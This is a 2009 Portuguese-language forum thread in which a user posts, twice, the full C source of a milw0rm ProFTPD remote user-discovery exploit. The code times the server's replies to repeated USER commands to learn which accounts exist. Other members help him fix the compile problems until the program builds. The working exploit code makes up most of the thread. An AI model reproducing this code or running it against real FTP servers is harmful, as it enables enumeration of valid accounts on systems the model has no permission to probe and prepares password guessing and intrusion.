bonucci Posted December 4, 2009 at 10:18 PM Report Share #298740 Posted December 4, 2009 at 10:18 PM Oi pessoal, tenho aqui um script, no qual gostaria de experimentalo no meu servidor, numa plaicaçao que tenho instalado ftp, o script é esse #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <arpa/inet.h> #include <sys/time.h> #define PORT 21 #define PROBE 8 main (int argc, char **argv) { int sock,n,y; long dist,stat=0; struct sockaddr_in sin; char buf[1024], buf2[1024]; struct timeval tv, tv2; struct timezone tz, tz2; printf ("Proftpd remote users discovery exploit\n" " Coded by Leon / LSS Security\n" ">-------------------------------------<\n"); if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); } sock = socket (AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons (PORT); sin.sin_addr.s_addr = inet_addr (argv[1]); bzero (sin.sin_zero,8); connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr)); printf ("Login time: "); n = read (sock,buf2, sizeof(buf2)); for (y=0;y<PROBE;y++) { gettimeofday (&tv,&tz); snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]); write (sock, buf, strlen(buf)); n = read (sock,buf2, sizeof(buf2)); gettimeofday (&tv2,&tz2); dist =tv2.tv_usec - tv.tv_usec; stat += dist; printf (" %d |",dist); } printf ("\nAvrg: %d\n",(stat/PROBE)); close (sock); } no qual n pertence a mim claro, pertence aqui ao mill http://www.milw0rm.com/exploits/581 Alguem faz ideia porque n consigo compilalo?? está faltando alguma coisa? experimentei no Dev c++ e até em linux gcc, sorry pela pergunta lamme, sou um zero a programação, mas ja ando a deidicarme mais a ele ultimamente, pois na minha vida do dia a dia obrigame a saber programação Ficam bem pessoal Link to comment Share on other sites More sharing options...
Asafe Posted December 4, 2009 at 10:55 PM Report Share #298746 Posted December 4, 2009 at 10:55 PM A função main deve ser int e retornar int. Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 12:33 AM Author Report Share #298758 Posted December 5, 2009 at 12:33 AM Continua a não a dar para compilar.. :s Link to comment Share on other sites More sharing options...
TheDark Posted December 5, 2009 at 03:36 AM Report Share #298764 Posted December 5, 2009 at 03:36 AM Onde estão os erros? Desaparecido. Link to comment Share on other sites More sharing options...
IceBrain Posted December 5, 2009 at 04:10 AM Report Share #298765 Posted December 5, 2009 at 04:10 AM Compilei simplesmente com "gcc -o script script.c" e deu perfeitamente (com três warnings por declarações implícitas, faltam fazer #include à string.h e stdlib.h). ❝The idea that I can be presented with a problem, set out to logically solve it with the tools at hand, and wind up with a program that could not be legally used because someone else followed the same logical steps some years ago and filed for a patent on it is horrifying.❞- John Carmack on software patents A list of command line apps Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 01:25 PM Author Report Share #298775 Posted December 5, 2009 at 01:25 PM fogo, entao sao aqui os programas do meu pc que andam a bater mal... aqui está como eu altereio, eu tento compilalo em Dev c++ mas não me compila aqui está o codigo: #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <arpa/inet.h> #include <sys/time.h> #define PORT 21 #define PROBE 8 int main (int argc, char **argv) { int sock,n,y; long dist,stat=0; struct sockaddr_in sin; char buf[1024], buf2[1024]; struct timeval tv, tv2; struct timezone tz, tz2; printf ("Proftpd remote users discovery exploit\n" " Coded by Leon / LSS Security\n" ">-------------------------------------<\n"); if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); } sock = socket (AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons (PORT); sin.sin_addr.s_addr = inet_addr (argv[1]); bzero (sin.sin_zero,8); connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr)); printf ("Login time: "); n = read (sock,buf2, sizeof(buf2)); for (y=0;y<PROBE;y++) { gettimeofday (&tv,&tz); snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]); write (sock, buf, strlen(buf)); n = read (sock,buf2, sizeof(buf2)); gettimeofday (&tv2,&tz2); dist =tv2.tv_usec - tv.tv_usec; stat += dist; printf (" %d |",dist); } printf ("\nAvrg: %d\n",(stat/PROBE)); close (sock); } Axo que não falta nada no codigo Link to comment Share on other sites More sharing options...
Baderous Posted December 5, 2009 at 02:22 PM Report Share #298783 Posted December 5, 2009 at 02:22 PM Estás a compilar em Windows? É que isso só funciona em sistemas *nix. Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 02:26 PM Author Report Share #298784 Posted December 5, 2009 at 02:26 PM haaa, pois, bem me parecia, ja tinha visto por aí que o codigo muda quando se é em unix e windows Obigadao pessoal 🙂 Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 03:21 PM Author Report Share #298797 Posted December 5, 2009 at 03:21 PM experimentei agora no linux e d]ame os seguintes erros : In function ‘main’: 45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’ 47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’ :S Sem duvida que tenho que treinar a minha programa;\ao Link to comment Share on other sites More sharing options...
Baderous Posted December 5, 2009 at 03:27 PM Report Share #298799 Posted December 5, 2009 at 03:27 PM Experimenta colocar %ld em vez de %d. Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 03:31 PM Author Report Share #298801 Posted December 5, 2009 at 03:31 PM Ya, deu, thanks 🙂 The power is strong in you...lol 😛 Link to comment Share on other sites More sharing options...
Rui Carlos Posted December 5, 2009 at 04:17 PM Report Share #298809 Posted December 5, 2009 at 04:17 PM experimentei agora no linux e d]ame os seguintes erros : In function ‘main’: 45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’ 47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’ :S Sem duvida que tenho que treinar a minha programa;\ao De referir que isso são avisos e não erros. Rui Carlos Gonçalves Link to comment Share on other sites More sharing options...
bonucci Posted December 5, 2009 at 04:23 PM Author Report Share #298810 Posted December 5, 2009 at 04:23 PM hummm, tou a ver, Obrigado 😉 Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now